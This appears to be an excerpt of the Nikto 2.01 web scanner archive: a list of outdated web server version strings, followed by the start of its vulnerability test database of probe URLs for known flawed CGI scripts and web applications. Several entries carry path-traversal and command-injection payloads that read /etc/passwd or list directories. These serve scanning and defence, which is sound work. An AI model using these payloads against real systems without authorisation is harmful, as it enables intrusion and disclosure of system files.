outdated (current is at least @CURRENT_VER)" "SHC/","1.5.8b","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "ShomitiTHGs/","3.10","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Signature/","2.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "SilverStream Server/","3.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "SilverStreamServer/","100.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Simple, Secure Web Server ","1.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "SimpleHTTP/","1.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "SimpleWebserver/","2.13","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "simwebs/","4.0.6","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "SiteScope/","7.9.5.14","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "SkunkWeb/","3.4b3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Slinger/","1.1a","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Sly-ISUmods/","2.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Smart CDS/","2.9-final","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "SmartCDS/","2.9-final","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "SmartServer/","4.08.0002","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "SmiskigWWWServer/","69","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Snap Appliances, Inc./","3.0.566","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "SNMP Research DR-Web Agent/","1.25.4.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "SomeServer/","4.4","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "SonarHosting/","1.3.27","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "SpaceSurfer/","1.4","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "SpecialixJETSTREAM/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Speed Touch Web Server/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "SpeedTouchWebServer/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Spinnaker/","3.12","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "SpinServer/","1.0.00","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Spipe/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Splash/","3.0.3(Foo-nix)","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Spry-SafetyWEB-Server-NT/","1.3a","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Spyglass_MicroServer/","2.01FC1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Squeegit/","1.2.5","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Squid/","2.6","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "SSI/","POEM-iso2022-20001201","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "SSL/","1.15","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "SSLeay/","0.9.0b","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "SST/","210q","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Statistics Server ","5.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Stonghold/","2.4.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "StorageNetFibreChannelAccessHub/","V1.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "StorageTekAccessHub/","V1.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "StoreSense-Bridge/","1.4","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Streamer-Server/","3.1.18","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Stronghold/","4.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "StummCom/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "StWeb/","1.3.27","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Sun Directory Services ","3.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Sun_WebServer/","2.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Sun-Java-System-Application-Server/","72004Q2UR4","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Sun-Java-System-Web-Server/","6.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Sun-ONE-Application-Server/","7.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Sun-ONE-ASP/","4.0.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Sun-ONE-Web-Server/","6.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "SunOS/","5.8","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "SVN/","1.4.4","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "sw/","1.7","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "swcd/","5.2.0032","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "SWS-","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "sxnet/","1.2.4","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "T-httpd/","1.2.7","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "T/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "TAC/","Xenta 5111.10","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "TagWeb/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "TAuth/","1.0.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Tcl-Webserver/","3.4.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "TeamTrack/","6.1(61025)","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "TeleFinder/","5.7","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Temple-of-Hate/","9.1.1-1.3.31","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Texis-Monitor/","4.03.1051642764","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "THEO Server/","5.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "ThreadedDBL/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "thttpd/","2.2426oct2003","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Thunderstone-Texis-Vortex/","4.02.1047973790","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Thunderstone-Texis/","4.03.1052723967","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Thy/","0.9.4","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "tigershark/","3.0.118","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "TinyWeb/","1.92","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "TKTAuth/","1.3.7","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Tomcat Web Server/","3.3.2 Final ( JSP 1.1; Servlet 2.2 )","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Tomcat/","4.1.27","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "tracd/","0.9.4","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "trakkerd/","v2.87-mm-as+re+ex+mp-WAP+WML","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Tree/","8.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "TSM_HTTP/","0.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "TTP/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "TUX/","2.0 (Linux)","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Ubicom/","1.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "UHTTPServer/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Ultraseek/","5.7.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "UNIT_Homepage/","2.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "UnrealEngine UWeb Web Server Build ","436","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "UPS_Server/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "UserLand Frontier/","9.0-WinNT","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "UserWeb/","v2.65","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "v.ii/","0.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "v2h/","1.5.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "VCNET2-Server/","1.03","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Vernier/","5.2.0.63","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "vhostdb/","1.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Viking/","1.9","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Virata-EmWeb/","R6_2_1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "VIRTUAL/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "VisiBroker/","4.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "VisualPulse (tm) ","3.0c","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "VM_ESA/","2.3.0.9902","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "VM:Secure/","2.5A","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "VM:Webgateway/","03.1A","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Vorlon SR ","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Vortech_PHP/","0.1.0-p0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "vqServer/","vqServer/1.9.55","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "w/CBS::adtag/","1.0a","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "w/CBS::gettxt/","1.0a","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "WC/","3000","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "WDaemon/","9.5.6","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER). Versions lower than 4 have serious vulnerabilities." "Web Crossing/","4.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Web Sphere Application Server/","5.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Web Transaction Server For ClearPath MCP ","6.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Web_Server_4D/","3.6.1b8","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Web-Server/","3.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "WEB602/","1.04","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "WebAuth/","3.2.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "WebBase 4.5 build ","69","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "WebCo/","Build9708-2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "WebCollage-Syndicator/","3.2.4.4040","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "WebCompanion/","6.0v1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "webfs/","1.21","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "weBLink/","0.3.9","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "WebLogic ","5.1.0 Service Pack 9 04/06/2001 12:48:33 #105983","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "WebLogic WebLogic Server ","7.0 SP2 Sun Jan 26 23:09:32 PST 2003 234192","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "WebLogic WebLogic Temporary Patch ","5 for PeopleSoft","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "WebLogic WebLogic Temporary Patch for ","CR067505 02/12/2002 17:10:21","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "WebLogic/","7.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "WebOTX_Web_Server/","1.3.36","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "WEBrick/","1.3.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "WebSEAL/","6.0.0.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Webserver/","2.2.22","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Webshare/","1.2.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "WebSiphon/","2.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "WebSite/","3.5.19","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "WebsiteFactory/","0.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "WebSitePro/","3.1.13.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Websphere/","4.0.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "WebSphereApplicationServer/","6.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "WebSrv/","3.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "WebSTAR/","4.5","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "WebTen/","3.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "WebtoB/","4.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "WebTopia/","2.2.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "WebTV/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "WebTwist/","3.0.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "WebWhois/","2.0.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "WebZerver/","V06.04","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "wg_httpd/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "WhatsUp_Gold/","8.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "whostmgr/","whostmgr/3.9.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Wind Manage/","4.00","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "WindManage/","4.00","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "WindWeb/","2.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "WISE_Homepage/","1.0.7","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "WN/","2.4.5","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Worldgroup/","3.30","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "wti-httpd/","1.0.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "WWW Server/","1.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "WWWServer/","1.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "X-IVO/","1.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Xauth/","2.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Xeneo/","2.2.10","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Xerox_MicroServer/","Xerox11","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Xerver/","4.03","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Xgate/","3.00","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Xitami web server ","v2.4c0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "xs-httpd/","3.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Y.G.Apache-SSLv3/","1.3.9","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "yasl/","2.25","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "YAWN/","1.05","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Yaws/","2.49.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "z_VM/","4.4.0.0000","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Zend-LaunchPad/","1.0.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Zeus/","4_3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Zope/","Zope/2.8.4","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "ZOT-PS-15/","6.8.0104","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "ZOT-PS-30/","8.2.0004","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "ZServer/","1.1b1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "ZyXEL-RomPager/","ZyXEL-RomPager/3.02","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "BaseHTTP/","0.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "BBC ","05.20.050","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "BeatBoxCapture/","6.5.64","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "BOA/","1.2.2c","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "broker/","8.7.0.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "buser/","4.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "BWS/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "CherryPy/","3.0.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "confproxy/","3.0.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "eBD/","3.2.8","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "HTTPlistener/","1.0.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "IPCheck/","5.4.0.796","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "MiniWebSvr/","0.0.9svn","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_apreq2-20051231/","2.5.7","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_clarassl/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_mrim/","0.17","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "nginx/","0.5.31","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Roxen/","4.0.425_NT-release5","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "TeamFile/","2.1.2-4","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "TuxSQLConf/","20070115-00","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "UcoZXSrv/","1.4.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "uWS/","2.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "VDB/","1.1.1-se","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "XunleiHttpServer/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������nikto-2.01/plugins/db_tests�������������������������������������������������������������������������0000664�0000764�0000764�00002247773�10722664124�015115� 0����������������������������������������������������������������������������������������������������ustar �sullo���������������������������sullo������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������#VERSION,2.000 #LASTMOD,11.10.2007 # http://www.cirt.net - # This file may only be distributed and used with the full Nikto package. # This file may not be used with any software product without written permission from CIRT, Inc. # (c) 2007 CIRT, Inc., All Rights Reserved. # By sending any database updates to CIRT, Inc., it is assumed that you # grant CIRT, Inc., the unlimited, non-exclusive right to reuse, modify and relicense the changes. "000001","0","b","/TiVoConnect?Command=QueryServer","GET","Calypso Server","","","","","The Tivo Calypso server is running. This page will display the version and platform it is running on. Other URLs may allow download of media.","","" "000002","0","b","/TiVoConnect?Command=QueryContainer&Container=/&Recurse=Yes","GET","TiVoContainer","","","","","TiVo client service is running and may allow download of mp3 or jpg files.","","" "000003","0","1234576890ab","@CGIDIRScart32.exe","GET","200","","","","","request cart32.exe/cart32clientlist","","" "000004","0","1234576890ab","@CGIDIRSclassified.cgi","GET","200","","","","","Check Phrack 55 for info by RFP","","" "000005","0","1234576890ab","@CGIDIRSdownload.cgi","GET","200","","","","","v1 by Matt Wright; check info in Phrack 55 by RFP","","" "000006","0","1234576890ab","@CGIDIRSflexform.cgi","GET","200","","","","","Check Phrack 55 for info by RFP, allows to append info to writable files.","","" "000007","0","1234576890ab","@CGIDIRSflexform","GET","200","","","","","Check Phrack 55 for info by RFP, allows to append info to writable files.","","" "000008","0","1234576890ab","@CGIDIRSlwgate.cgi","GET","200","","","","","Check Phrack 55 for info by RFP, http://www.phrack.com/show.php?p=55&a=7","","" "000009","0","1234576890ab","@CGIDIRSLWGate.cgi","GET","200","","","","","Check Phrack 55 for info by RFP, http://www.phrack.com/show.php?p=55&a=7","","" "000010","0","1234576890ab","@CGIDIRSlwgate","GET","200","","","","","Check Phrack 55 for info by RFP","","" "000011","0","1234576890ab","@CGIDIRSLWGate","GET","200","","","","","Check Phrack 55 for info by RFP","","" "000012","0","1234576890ab","@CGIDIRSperlshop.cgi","GET","200","","","","","v3.1 by ARPAnet.com; check info in Phrack 55 by RFP","","" "000013","0","1234576890ab","/cfappman/index.cfm","GET","200","not found","","","","susceptible to ODBC/pipe-style exploit; see RFP9901 http://www.wiretrip.net/rfp/p/doc.asp/i2/d3.htm","","" "000014","0","1234576890ab","/cfdocs/examples/cvbeans/beaninfo.cfm","GET","200","not found","","","","susceptible to our ODBC exploit; see RFP9901 http://www.wiretrip.net/rfp/p/doc.asp/i2/d3.htm","","" "000015","0","1234576890ab","/cfdocs/examples/parks/detail.cfm","GET","200","not found","","","","susceptible to our ODBC exploit; see RFP9901 http://www.wiretrip.net/rfp/p/doc.asp/i2/d3.htm","","" "000016","0","1234576890ab","/kboard/","GET","200","","","","","KBoard Forum 0.3.0 and prior have a security problem in forum_edit_post.php, forum_post.php and forum_reply.php","","" "000017","0","1234576890ab","/lists/admin/","GET","200","","","","","PHPList pre 2.6.4 contains a number of vulnerabilities including remote administrative access, harvesting user info and more. Default login to admin interface is admin/phplist","","" "000018","0","1234576890ab","/splashAdmin.php","GET","200","","","","","Cobalt Qube 3 admin is running. This may have multiple security problems as described by www.scan-associates.net. These could not be tested remotely."," ","" "000019","0","1234576890ab","/ssdefs/","GET","200","","","","","Siteseed pre 1.4.2 has 'major' security problems.","","" "000020","0","1234576890ab","/sshome/","GET","200","","","","","Siteseed pre 1.4.2 has 'major' security problems.","","" "000021","0","1234576890ab","/tiki/","GET","200","","","","","Tiki 1.7.2 and previous allowed restricted Wiki pages to be viewed via a 'URL trick'. Default login/pass could be admin/admin","","" "000022","0","1234576890ab","/tiki/tiki-install.php","GET","200","","","","","Tiki 1.7.2 and previous allowed restricted Wiki pages to be viewed via a 'URL trick'. Default login/pass could be admin/admin","","" "000023","0","1234576890ab","/scripts/samples/details.idc","GET","200","","","","","See RFP 9901; www.wiretrip.net","","" "000024","396","6","/_vti_bin/shtml.exe","GET","200","","","","","Attackers may be able to crash FrontPage by requesting a DOS device, like shtml.exe/aux.htm -- a DoS was not attempted.","","" "000025","0","1","@CGIDIRShandler.cgi","GET","200","","","","","Variation of Irix Handler? Has been seen from other CGI scanners.","","" "000026","0","28","@CGIDIRSfinger","GET","200","","","","","finger other users, may be other commands?","","" "000027","0","28","@CGIDIRSfinger.pl","GET","200","","","","","finger other users, may be other commands?","","" "000028","0","3","@CGIDIRSformmail.cgi","GET","Version ","","","","","The remote CGI reveals its version number, which may aid attackers in finding vulnerabilities in the script.","","" "000029","0","3","@CGIDIRSformmail.pl","GET","Version ","","","","","The remote CGI reveals its version number, which may aid attackers in finding vulnerabilities in the script.","","" "000030","0","3","@CGIDIRSformmail","GET","Version ","","","","","The remote CGI reveals its version number, which may aid attackers in finding vulnerabilities in the script.","","" "000031","0","3","@CGIDIRSget32.exe","GET","200","","","","","This can allow attackers to execute arbitrary commands remotely.","","" "000032","0","3","@CGIDIRSgm-authors.cgi","GET","200","","","","","GreyMatter 'password' file, that controls who can post. This contains login and password information and is installed mode 666 by default. See http://www.attrition.org/~jericho/works/security/greymatter.html for more info.","","" "000033","0","3","@CGIDIRSguestbook/passwd","GET","200","","","","","GuestBook r4 from lasource.r2.ru stores the admin password in a plain text file.","","" "000034","3233","3","@CGIDIRShorde/test.php?mode=phpinfo","GET","PHP Version","","","","","Horde allows phpinfo() to be run, which gives detailed system information.","","" "000035","0","3","@CGIDIRSphoto/protected/manage.cgi","GET","200","","","","","My Photo Gallery management interface. May allow full access to photo galleries and more. Versions before 3.8 allowed anyone to view contents of any directory on systems.","","" "000036","0","3","@CGIDIRSwrap.cgi","GET","200","","","","","possible variation: comes with IRIX 6.2; allows to view directories","","" "000037","0","3","/./","GET","include\(\"","","","","","Appending '/./' to a directory may reveal php source code.","","" "000038","637","23","/~root/","GET","200","","","","","Allowed to browse root's home directory.","","" "000039","0","3","/cgi-bin/wrap","GET","200","","","","","comes with IRIX 6.2; allows to view directories","","" "000040","0","3","/forums/@ADMINconfig.php","GET","200","","","","","PHP Config file may contain database IDs and passwords.","","" "000041","0","3","/forums/config.php","GET","200","","","","","PHP Config file may contain database IDs and passwords.","","" "000042","0","3","/ganglia/","GET","Cluster","","","","","Ganglia Cluster reports reveal detailed information.","","" "000043","0","3","/guestbook/guestbookdat","GET","200","","","","","PHP-Gastebuch 1.60 Beta reveals sensitive information about its configuration.","","" "000044","0","3","/guestbook/pwd","GET","200","","","","","PHP-Gastebuch 1.60 Beta reveals the md5 hash of the admin password.","","" "000045","0","3","/help/","GET","200","","","","","Help directory should not be accessible","","" "000046","0","3","/hola/admin/cms/htmltags.php?datei=./sec/data.php","GET","200","","","","","hola-cms-1.2.9-10 may reveal the administrator ID and password.","","" "000047","0","3","/horde/imp/test.php","GET","Horde Versions","","","","","Horde script reveals detailed system/Horde information.","","" "000048","3233","3","/horde/test.php?mode=phpinfo","GET","PHP Version","","","","","Horde allows phpinfo() to be run, which gives detailed system information.","","" "000049","3233","3","/imp/horde/test.php?mode=phpinfo","GET","PHP Version","","","","","Horde allows phpinfo() to be run, which gives detailed system information.","","" "000050","0","3","/imp/horde/test.php","GET","Horde Versions","","","","","Horde script reveals detailed system/Horde information.","","" "000051","0","3","/index.html.bak","GET","Index of","","","","","The remote server (perhaps Web602) shows directory indexes if .bak is appended to the request.","","" "000052","0","3","/index.html~","GET","Index of","","","","","The remote server (perhaps Web602) shows directory indexes if a ~ is appended to the request.","","" "000053","621","7","/index.php?chemin=..%2F..%2F..%2F..%2F..%2F..%2F..%2F%2Fetc","GET","resolv.conf","","","","","phpMyExplorer Allows attackers to read directories on the server.","","" "000054","0","23","/global.inc","GET","200","","","","","PHP-Survey's include file should not be available via the web. Configure the web server to ignore .inc files or change this to global.inc.php","","" "000055","0","3b","@CGIDIRSformmail.pl","GET","200","","","","","Many versions of FormMail have remote vulnerabilities, including file access, information disclosure and email abuse. FormMail access should be restricted as much as possible or a more secure solution found.","","" "000056","0","3b","@CGIDIRShorde/test.php","GET","Horde Versions","","","","","Horde script reveals detailed system/Horde information.","","" "000057","0","4","/inc/common.load.php","GET","200","","","","","Bookmark4U v1.8.3 include files are not protected, and may contain remote source injection by using the 'prefix' variable.","","" "000058","0","4","/inc/config.php","GET","200","","","","","Bookmark4U v1.8.3 include files are not protected, and may contain remote source injection by using the 'prefix' variable.","","" "000059","0","4","/inc/dbase.php","GET","200","","","","","Bookmark4U v1.8.3 include files are not protected, and may contain remote source injection by using the 'prefix' variable.","","" "000060","0","6","@CGIDIRSvisadmin.exe","GET","200","","","","","This CGI allows attacker to crash the web server. Remove it from the CGI directory.","","" "000061","0","7","@CGIDIRShtml2chtml.cgi","GET","200","","","","","Html2Wml < 0.4.8 access local files via CGI, and more","","" "000062","0","7","@CGIDIRShtml2wml.cgi","GET","200","","","","","Html2Wml < 0.4.8 access local files via CGI, and more","","" "000063","358","7","@CGIDIRSpollit/Poll_It_SSI_v2.0.cgi?data_dir=\etc\passwd%00","GET","root:","","","","","Poll_It_SSI_v2.0.cgi allows attackers to retrieve arbitrary files.","","" "000064","0","8","@CGIDIRSecho.bat?&dir+c:\",","GET","200","","","","","This batch file may allow attackers to execute remote commands.","","" "000065","0","8","@CGIDIRSexcite;IFS=\"$\";/bin/cat /etc/passwd","GET","root:","200","","","","Excite software is vulnerable to command execution.","","" "000066","0","8","@CGIDIRSezshopper/loadpage.cgi?user_id=1&file=|cat%20/etc/passwd|","GET","200","","","","","EZShopper loadpage CGI command execution","","" "000067","0","8","@CGIDIRSguestbook.cgi","GET","200","","","","","May allow attackers to execute commands as the web daemon.","","" "000068","0","8","@CGIDIRSguestbook.pl","GET","200","","","","","May allow attackers to execute commands as the web daemon.","","" "000069","0","8","@CGIDIRSss","GET","200","","","","","Mediahouse Statistics Server may allow attacker to execute remote commands. Upgrade to latest version or remove from the CGI directory.","","" 